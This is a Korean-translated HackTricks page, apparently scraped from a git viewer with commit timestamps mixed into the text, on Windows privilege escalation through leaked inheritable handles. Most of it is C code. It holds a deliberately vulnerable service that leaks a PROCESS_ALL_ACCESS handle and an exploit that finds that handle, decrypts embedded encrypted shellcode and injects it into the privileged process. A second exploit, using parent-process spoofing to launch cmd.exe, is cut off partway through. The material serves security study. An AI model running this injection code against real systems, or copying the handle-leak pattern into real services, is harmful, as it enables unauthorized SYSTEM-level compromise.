hacktricks/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md

715 lines
27 KiB
Markdown
Raw Normal View History

2024-02-10 21:30:13 +00:00
# 누출된 핸들 악용
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 21:30:13 +00:00
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
* 회사를 **HackTricks에서 광고**하거나 **PDF로 HackTricks 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 21:30:13 +00:00
## 소개
2022-03-21 11:02:30 +00:00
2024-02-10 21:30:13 +00:00
프로세스의 핸들은 다양한 **Windows 리소스에 액세스**할 수 있게 해줍니다:
2022-03-21 11:02:30 +00:00
2024-02-10 21:30:13 +00:00
![RootedCON2022 - LPE를 위한 누출된 핸들 악용](<../../.gitbook/assets/image (663) (1).png>)
2022-03-21 11:02:30 +00:00
2024-02-10 21:30:13 +00:00
이미 **권한 상승** 사례에서는 **열린 상태로 상속 가능한 핸들**을 가진 **권한이 있는 프로세스**가 **권한이 없는 프로세스를 실행**하여 **모든 핸들에 액세스**할 수 있게 했습니다.
2022-03-21 11:02:30 +00:00
2024-02-10 21:30:13 +00:00
예를 들어, **SYSTEM으로 실행되는 프로세스가 전체 액세스 권한으로 새 프로세스를 열고**(`OpenProcess()`) **또한 모든 열린 핸들을 상속하면서 낮은 권한으로 새 프로세스를 생성**(`CreateProcess()`)합니다.\
그런 다음, 낮은 권한을 가진 프로세스에 **전체 액세스 권한으로 생성된 권한 있는 프로세스의 열린 핸들을 얻어** `OpenProcess()`로 **쉘코드를 주입**할 수 있습니다.
2024-02-10 21:30:13 +00:00
## **흥미로운 핸들**
2022-03-21 11:02:30 +00:00
2024-02-10 21:30:13 +00:00
### **프로세스**
2022-03-21 11:02:30 +00:00
2024-02-10 21:30:13 +00:00
처음 예제에서 읽었듯이 **권한이 없는 프로세스가 충분한 권한을 가진 권한이 있는 프로세스의 프로세스 핸들**을 상속하면 해당 프로세스에서 **임의의 코드를 실행**할 수 있습니다.
2022-03-21 11:02:30 +00:00
2024-02-10 21:30:13 +00:00
[**이 훌륭한 기사**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)에서 다음 권한 중 하나를 가진 프로세스 핸들을 악용하는 방법을 볼 수 있습니다:
2022-03-21 11:02:30 +00:00
* PROCESS\_ALL\_ACCESS
* PROCESS\_CREATE\_PROCESS
* PROCESS\_CREATE\_THREAD
* PROCESS\_DUP\_HANDLE
* PROCESS\_VM\_WRITE
2024-02-10 21:30:13 +00:00
### 스레드
2022-03-21 11:02:30 +00:00
2024-02-10 21:30:13 +00:00
프로세스 핸들과 유사하게, **권한이 없는 프로세스가 충분한 권한을 가진 권한이 있는 프로세스의 스레드 핸들**을 상속하면 해당 스레드에서 **임의의 코드를 실행**할 수 있습니다.
2022-03-21 11:02:30 +00:00
2024-02-10 21:30:13 +00:00
[**이 훌륭한 기사**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)에서 다음 권한 중 하나를 가진 프로세스 핸들을 악용하는 방법을 볼 수도 있습니다:
2022-03-21 11:02:30 +00:00
* THREAD\_ALL\_ACCESS
* THREAD\_DIRECT\_IMPERSONATION
* THREAD\_SET\_CONTEXT
2024-02-10 21:30:13 +00:00
### 파일, 키 및 섹션 핸들
2022-03-21 11:02:30 +00:00
2024-02-10 21:30:13 +00:00
**권한이 없는 프로세스가 권한 있는 파일 또는 레지스트리의 쓰기 권한과 동등한 핸들**을 상속하면 파일/레지스트리를 **덮어쓸 수 있으며** (그리고 많은 **운이 좋다면 권한 상승**할 수 있습니다).
2024-02-10 21:30:13 +00:00
**섹션 핸들**은 파일 핸들과 유사하며, 이러한 종류의 객체의 일반적인 이름은 **"파일 매핑"**입니다(https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping). 이들은 **전체 파일을 메모리에 유지하지 않고 큰 파일을 처리**하는 데 사용됩니다. 이로 인해 파일 핸들의 악용과 "유사한" 방식으로 악용이 가능합니다.
2022-03-21 17:37:28 +00:00
2024-02-10 21:30:13 +00:00
## 프로세스의 핸들 보는 방법
2022-03-21 17:37:28 +00:00
2022-07-11 08:44:04 +00:00
### Process Hacker
2022-03-21 17:37:28 +00:00
2024-02-10 21:30:13 +00:00
[**Process Hacker**](https://github.com/processhacker/processhacker)는 무료로 다운로드할 수 있는 도구입니다. 프로세스를 검사하는 여러 가지 놀라운 옵션 중 하나는 **각 프로세스의 핸들을 볼 수 있는 기능**입니다.
2022-03-21 17:37:28 +00:00
2024-02-10 21:30:13 +00:00
모든 프로세스의 핸들을 볼려면 **SeDebugPrivilege 권한이 필요**하므로 Process Hacker를 관리자 권한으로 실행해야 합니다.
2022-03-21 17:37:28 +00:00
2024-02-10 21:30:13 +00:00
프로세스의 핸들을 보려면 프로세스를 마우스 오른쪽 버튼으로 클릭하고 핸들을 선택하세요:
2022-03-21 17:37:28 +00:00
2022-04-28 14:00:21 +00:00
![](<../../.gitbook/assets/image (651) (1).png>)
2022-03-21 17:37:28 +00:00
2024-02-10 21:30:13 +00:00
그런 다음 핸들을 마우스 오른쪽 버튼으로 클릭하여 **권한을 확인**할 수 있습니다:
2022-03-21 17:37:28 +00:00
![](<../../.gitbook/assets/image (628).png>)
2022-07-11 08:44:04 +00:00
### Sysinternals Handles
2022-03-21 17:37:28 +00:00
2024-02-10 21:30:13 +00:00
[**Handles**](https://docs.microsoft.com/en-us/sysinternals/downloads/handle)는 Sysinternals의 이진 파일로 콘솔에서 각 프로세스의 핸들을 나열합니다:
2022-03-21 17:37:28 +00:00
![](<../../.gitbook/assets/image (654).png>)
2022-07-11 08:44:04 +00:00
### LeakedHandlesFinder
2022-03-21 17:38:42 +00:00
2024-02-10 21:30:13 +00:00
[**이 도구**](https://github.com/lab52io/LeakedHandlesFinder)를 사용하면 누출된 핸들을 **모니터링**하고 권한 상승을 위해 자동으로 악용할 수 있습니다.
2022-03-21 17:38:42 +00:00
2024-02-10 21:30:13 +00:00
### 방법론
2022-03-21 17:37:28 +00:00
2024-02-10 21:30:13 +00:00
이제 프로세스의 핸들을 찾는 방법을 알았으므로 **권한이 없는 프로세스가 권한 있는 핸들에 액세스**하는지 확인해야 합니다. 그렇다면 프로세스의 사용자는 핸들을 얻고 권한 상승을 악용할 수 있을 것입니다.
2022-03-21 17:37:28 +00:00
{% hint style="warning" %}
2024-02-10 21:30:13 +00:00
이전에 모든 핸들에 액세스하려면 SeDebugPrivilege가 필요하다고 언급되었습니다. 그러나 **사용자는 자신의 프로세스의 핸들에 여전히 액세스할 수 있으므로 사용자의 일반 권한으로 도구를 실행**하려는 경우 유용할 수 있습니다.
2022-03-21 17:37:28 +00:00
```bash
handle64.exe /a | findstr /r /i "process thread file key pid:"
```
{% endhint %}
2024-02-10 21:30:13 +00:00
## 취약한 예시
2024-02-10 21:30:13 +00:00
예를 들어, 다음 코드는 취약할 수 있는 **Windows 서비스**에 속합니다. 이 서비스 이진 파일의 취약한 코드는 **`Exploit`** 함수 내에 있습니다. 이 함수는 **전체 액세스 권한을 가진 새로운 핸들 프로세스를 생성**합니다. 그런 다음, _explorer.exe_의 낮은 권한 토큰을 복사하여 _C:\users\username\desktop\client.exe_를 실행하는 **낮은 권한 프로세스를 생성**합니다. **취약점은 `bInheritHandles``TRUE`로 설정하여 낮은 권한 프로세스를 생성하는 것**에 있습니다.
2024-02-10 21:30:13 +00:00
따라서, 이 낮은 권한 프로세스는 먼저 생성된 고 권한 프로세스의 핸들을 획득하고, 쉘코드를 주입하고 실행할 수 있습니다 (다음 섹션 참조).
```c
#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#pragma comment (lib, "advapi32")
TCHAR* serviceName = TEXT("HandleLeakSrv");
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
HANDLE stopServiceEvent = 0;
//Find PID of a proces from its name
int FindTarget(const char *procname) {
2024-02-10 21:30:13 +00:00
HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;
2024-02-10 21:30:13 +00:00
hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
2024-02-10 21:30:13 +00:00
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}
2024-02-10 21:30:13 +00:00
while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}
2024-02-10 21:30:13 +00:00
CloseHandle(hProcSnap);
2024-02-10 21:30:13 +00:00
return pid;
}
2024-02-10 21:30:13 +00:00
int Exploit(void) {
2024-02-10 21:30:13 +00:00
STARTUPINFOA si;
PROCESS_INFORMATION pi;
int pid = 0;
HANDLE hUserToken;
HANDLE hUserProc;
HANDLE hProc;
// open a handle to itself (privileged process) - this gets leaked!
hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());
// get PID of user low privileged process
if ( pid = FindTarget("explorer.exe") )
hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
else
return -1;
// extract low privilege token from a user's process
if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) {
CloseHandle(hUserProc);
return -1;
}
2024-02-10 21:30:13 +00:00
// spawn a child process with low privs and leaked handle
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe",
NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
2024-02-10 21:30:13 +00:00
CloseHandle(hProc);
CloseHandle(hUserProc);
return 0;
}
2024-02-10 21:30:13 +00:00
void WINAPI ServiceControlHandler( DWORD controlCode ) {
switch ( controlCode ) {
case SERVICE_CONTROL_SHUTDOWN:
case SERVICE_CONTROL_STOP:
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
2024-02-10 21:30:13 +00:00
SetEvent( stopServiceEvent );
return;
2024-02-10 21:30:13 +00:00
case SERVICE_CONTROL_PAUSE:
break;
2024-02-10 21:30:13 +00:00
case SERVICE_CONTROL_CONTINUE:
break;
2024-02-10 21:30:13 +00:00
case SERVICE_CONTROL_INTERROGATE:
break;
2024-02-10 21:30:13 +00:00
default:
break;
}
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}
2024-02-10 21:30:13 +00:00
void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
// initialise service status
serviceStatus.dwServiceType = SERVICE_WIN32;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
serviceStatus.dwControlsAccepted = 0;
serviceStatus.dwWin32ExitCode = NO_ERROR;
serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;
serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );
if ( serviceStatusHandle ) {
// service is starting
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
// do initialisation here
stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );
// running
serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
Exploit();
WaitForSingleObject( stopServiceEvent, -1 );
// service was stopped
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
// do cleanup here
CloseHandle( stopServiceEvent );
stopServiceEvent = 0;
// service is now stopped
serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}
}
void InstallService() {
2024-02-10 21:30:13 +00:00
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );
if ( serviceControlManager ) {
TCHAR path[ _MAX_PATH + 1 ];
if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
SC_HANDLE service = CreateService( serviceControlManager,
serviceName, serviceName,
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
0, 0, 0, 0, 0 );
if ( service )
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}
void UninstallService() {
2024-02-10 21:30:13 +00:00
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );
if ( serviceControlManager ) {
SC_HANDLE service = OpenService( serviceControlManager,
serviceName, SERVICE_QUERY_STATUS | DELETE );
if ( service ) {
SERVICE_STATUS serviceStatus;
if ( QueryServiceStatus( service, &serviceStatus ) ) {
if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
DeleteService( service );
}
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}
int _tmain( int argc, TCHAR* argv[] )
{
2024-02-10 21:30:13 +00:00
if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
InstallService();
}
2024-02-10 21:30:13 +00:00
else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
UninstallService();
}
else {
SERVICE_TABLE_ENTRY serviceTable[] = {
{ serviceName, ServiceMain },
{ 0, 0 }
};
2024-02-10 21:30:13 +00:00
StartServiceCtrlDispatcher( serviceTable );
}
return 0;
}
```
2022-07-11 08:44:04 +00:00
### Exploit Example 1
{% hint style="info" %}
2024-02-10 21:30:13 +00:00
실제 시나리오에서는 취약한 코드가 실행될 **바이너리를 제어할 수 없을 것**입니다. 아마도 프로세스를 침해하고 권한이 있는 프로세스의 취약한 핸들에 액세스할 수 있는지 확인해야 할 것입니다.
{% endhint %}
2024-02-10 21:30:13 +00:00
이 예제에서는 _C:\users\username\desktop\client.exe_에 대한 가능한 익스플로잇 코드를 찾을 수 있습니다.\
이 코드의 가장 흥미로운 부분은 `GetVulnProcHandle`에 있습니다. 이 함수는 **모든 핸들을 가져오기 시작**한 다음, 핸들이 **동일한 PID에 속하는지**와 핸들이 **프로세스에 속하는지** 확인합니다. 이러한 요구 사항이 모두 충족되면 (접근 가능한 열린 프로세스 핸들이 발견되면), 프로세스의 핸들을 악용하여 쉘코드를 **주입하고 실행**하려고 시도합니다.\
쉘코드의 주입은 **`Inject`** 함수 내에서 수행되며, 이는 **권한이 있는 프로세스 내에 쉘코드를 작성하고 동일한 프로세스 내에서 스레드를 생성하여 쉘코드를 실행**합니다.
```c
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")
int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
2024-02-10 21:30:13 +00:00
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;
if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
return -1;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
return -1;
}
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
return -1;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
return -1;
}
if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
return -1;
}
CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);
return 0;
}
HANDLE GetVulnProcHandle(void) {
2024-02-10 21:30:13 +00:00
ULONG handleInfoSize = 0x10000;
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
HANDLE hProc = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
ULONG returnLength;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
DWORD dwOwnPID = GetCurrentProcessId();
pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");
printf("[+] Grabbing handles...");
while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);
if (status != STATUS_SUCCESS)
{
printf("[!] NtQuerySystemInformation failed!\n");
return 0;
}
printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);
// iterate handles until we find the privileged process handle
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];
// Check if this handle belongs to our own process
if (handle.UniqueProcessId != dwOwnPID)
continue;
objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL ) != STATUS_SUCCESS)
continue;
// skip some objects to avoid getting stuck
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
if (handle.GrantedAccess == 0x0012019f
&& handle.GrantedAccess != 0x00120189
&& handle.GrantedAccess != 0x120089
&& handle.GrantedAccess != 0x1A019F ) {
free(objectTypeInfo);
continue;
}
// get object name information
objectNameInfo = malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
0x1000,
&returnLength ) != STATUS_SUCCESS) {
// adjust the size of a returned object and query again
objectNameInfo = realloc(objectNameInfo, returnLength);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
returnLength,
NULL ) != STATUS_SUCCESS) {
free(objectTypeInfo);
free(objectNameInfo);
continue;
}
}
// check if we've got a process object
objectName = *(PUNICODE_STRING) objectNameInfo;
UNICODE_STRING pProcess;
pRtlInitUnicodeString(&pProcess, L"Process");
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
printf("[+] Found process handle (%x)\n", handle.HandleValue);
hProc = (HANDLE) handle.HandleValue;
free(objectTypeInfo);
free(objectNameInfo);
break;
}
else
continue;
free(objectTypeInfo);
free(objectNameInfo);
}
return hProc;
}
int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
2024-02-10 21:30:13 +00:00
LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;
BOOL bStatus = FALSE;
pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread");
pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL);
if (bStatus != FALSE) {
WaitForSingleObject(hThread, -1);
CloseHandle(hThread);
return 0;
}
else
return -1;
}
int main(int argc, char **argv) {
2024-02-10 21:30:13 +00:00
int pid = 0;
HANDLE hProc = NULL;
// AES encrypted shellcode spawning notepad.exe (ExitThread)
char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d, 0xd6, 0x0, 0xee, 0x2, 0x29, 0x3e, 0x9b, 0xb2, 0x8a, 0x69 };
```c
unsigned char payload[] = { 0x6b, 0x98, 0xe8, 0x38, 0xaf, 0x82, 0xdc, 0xd4, 0xda, 0x57, 0x15, 0x48, 0x2f, 0xf0, 0x4e, 0xd3, 0x1a, 0x70, 0x6d, 0xbf, 0x53, 0xa8, 0xcb, 0xbb, 0xbb, 0x38, 0xf6, 0x4e, 0xee, 0x84, 0x36, 0xe5, 0x25, 0x76, 0xce, 0xb0, 0xf6, 0x39, 0x22, 0x76, 0x36, 0x3c, 0xe1, 0x13, 0x18, 0x9d, 0xb1, 0x6e, 0x0, 0x55, 0x8a, 0x4f, 0xb8, 0x2d, 0xe7, 0x6f, 0x91, 0xa8, 0x79, 0x4e, 0x34, 0x88, 0x24, 0x61, 0xa4, 0xcf, 0x70, 0xdb, 0xef, 0x25, 0x96, 0x65, 0x76, 0x7, 0xe7, 0x53, 0x9, 0xbf, 0x2d, 0x92, 0x25, 0x4e, 0x30, 0xa, 0xe7, 0x69, 0xaf, 0xf7, 0x32, 0xa6, 0x98, 0xd3, 0xbe, 0x2b, 0x8, 0x90, 0x0, 0x9e, 0x3f, 0x58, 0xed, 0x21, 0x69, 0xcb, 0x38, 0x5d, 0x5e, 0x68, 0x5e, 0xb9, 0xd6, 0xc5, 0x92, 0xd1, 0xaf, 0xa2, 0x5d, 0x16, 0x23, 0x48, 0xbc, 0xdd, 0x2a, 0x9f, 0x3c, 0x22, 0xdb, 0x19, 0x24, 0xdf, 0x86, 0x4a, 0xa2, 0xa0, 0x8f, 0x1a, 0xe, 0xd6, 0xb7, 0xd2, 0x6c, 0x6d, 0x90, 0x55, 0x3e, 0x7d, 0x9b, 0x69, 0x87, 0xad, 0xd7, 0x5c, 0xf3, 0x1, 0x7c, 0x93, 0x1d, 0xaa, 0x40, 0xf, 0x15, 0x48, 0x5b, 0xad, 0x6, 0xb5, 0xe5, 0xb9, 0x92, 0xae, 0x9b, 0xdb, 0x9a, 0x9b, 0x4e, 0x44, 0x45, 0xdb, 0x9f, 0x28, 0x90, 0x9e, 0x63, 0x23, 0xf2, 0xca, 0xab, 0xa7, 0x68, 0xbc, 0x31, 0xb4, 0xf9, 0xbb, 0x73, 0xd4, 0x56, 0x94, 0x2c, 0x63, 0x47, 0x21, 0x84, 0xa2, 0xb6, 0x91, 0x23, 0x8f, 0xa0, 0x46, 0x76, 0xff, 0x3f, 0x75, 0xd, 0x51, 0xc5, 0x70, 0x26, 0x1, 0xcf, 0x23, 0xbf, 0x97, 0xb2, 0x8d, 0x66, 0x35, 0xc8, 0xe3, 0x2, 0xf6, 0xbd, 0x44, 0x83, 0xf2, 0x80, 0x4c, 0xd0, 0x7d, 0xa3, 0xbd, 0x33, 0x8e, 0xe8, 0x6, 0xbc, 0xdc, 0xff, 0xe0, 0x96, 0xd9, 0xdc, 0x87, 0x2a, 0x81, 0xf3, 0x53, 0x37, 0x16, 0x3a, 0xcc, 0x3c, 0x34, 0x4, 0x9c, 0xc6, 0xbb, 0x12, 0x72, 0xf3, 0xa3, 0x94, 0x5d, 0x19, 0x43, 0x56, 0xa8, 0xba, 0x2a, 0x1d, 0x12, 0xeb, 0xd2, 0x6e, 0x79, 0x65, 0x2a };
unsigned int payload_len = sizeof(payload);
printf("내 PID: %d\n", GetCurrentProcessId());
getchar();
// 누출된 프로세스 핸들 찾기
hProc = GetVulnProcHandle();
if (hProc != NULL) {
// 페이로드 복호화
AESDecrypt((char *)payload, payload_len, key, sizeof(key));
printf("[+] 선물을 보내는 중...");
// 특권 컨텍스트에서 페이로드 주입 및 실행
Inject(hProc, payload, payload_len);
printf("완료.\n");
}
2024-02-10 21:30:13 +00:00
getchar();
2024-02-10 21:30:13 +00:00
return 0;
}
```
2022-07-11 08:44:04 +00:00
### Exploit Example 2
{% hint style="info" %}
2024-02-10 21:30:13 +00:00
실제 시나리오에서는 취약한 코드가 실행할 이진 파일을 **직접 제어할 수 없을 것**입니다. 아마도 프로세스를 침해하고 권한이 있는 프로세스의 취약한 핸들에 액세스할 수 있는지 확인해야 할 것입니다.
{% endhint %}
2024-02-10 21:30:13 +00:00
이 예제에서는 **열린 핸들을 악용하여 셸코드를 주입하고 실행하는 대신, 권한이 있는 열린 핸들 프로세스의 토큰을 사용하여 새로운 핸들을 생성**합니다. 이는 138번부터 148번까지의 줄에서 수행됩니다.
2024-02-10 21:30:13 +00:00
함수 `UpdateProcThreadAttribute`가 **속성 `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS`와 열린 권한이 있는 프로세스의 핸들**과 함께 사용되는 것에 주목하세요. 이는 **_cmd.exe_를 실행하는 생성된 프로세스 스레드가 열린 핸들 프로세스와 동일한 토큰 권한을 갖게 됨을 의미**합니다.
```c
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")
HANDLE GetVulnProcHandle(void) {
2024-02-10 21:30:13 +00:00
ULONG handleInfoSize = 0x10000;
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
HANDLE hProc = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
ULONG returnLength;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
DWORD dwOwnPID = GetCurrentProcessId();
pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");
printf("[+] Grabbing handles...");
while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);
if (status != STATUS_SUCCESS)
{
printf("[!] NtQuerySystemInformation failed!\n");
return 0;
}
printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);
// iterate handles until we find the privileged process handle
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];
// Check if this handle belongs to our own process
if (handle.UniqueProcessId != dwOwnPID)
continue;
objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL ) != STATUS_SUCCESS)
continue;
// skip some objects to avoid getting stuck
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
if (handle.GrantedAccess == 0x0012019f
&& handle.GrantedAccess != 0x00120189
&& handle.GrantedAccess != 0x120089
&& handle.GrantedAccess != 0x1A019F ) {
free(objectTypeInfo);
continue;
}
// get object name information
objectNameInfo = malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
0x1000,
&returnLength ) != STATUS_SUCCESS) {
// adjust the size of a returned object and query again
objectNameInfo = realloc(objectNameInfo, returnLength);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
returnLength,
NULL ) != STATUS_SUCCESS) {
free(objectTypeInfo);
free(objectNameInfo);
continue;
}
}
// check if we've got a process object
objectName = *(PUNICODE_STRING) objectNameInfo;
UNICODE_STRING pProcess;
pRtlInitUnicodeString(&pProcess, L"Process");
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
printf("[+] Found process handle (%x)\n", handle.HandleValue);
hProc = (HANDLE) handle.HandleValue;
free(objectTypeInfo);
free(objectNameInfo);
break;
}
else
continue;
free(objectTypeInfo);
free(objectNameInfo);
}
return hProc;
}
int main(int argc, char **argv) {
2024-02-10 21:30:13 +00:00
HANDLE hProc = NULL;
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
int pid = 0;
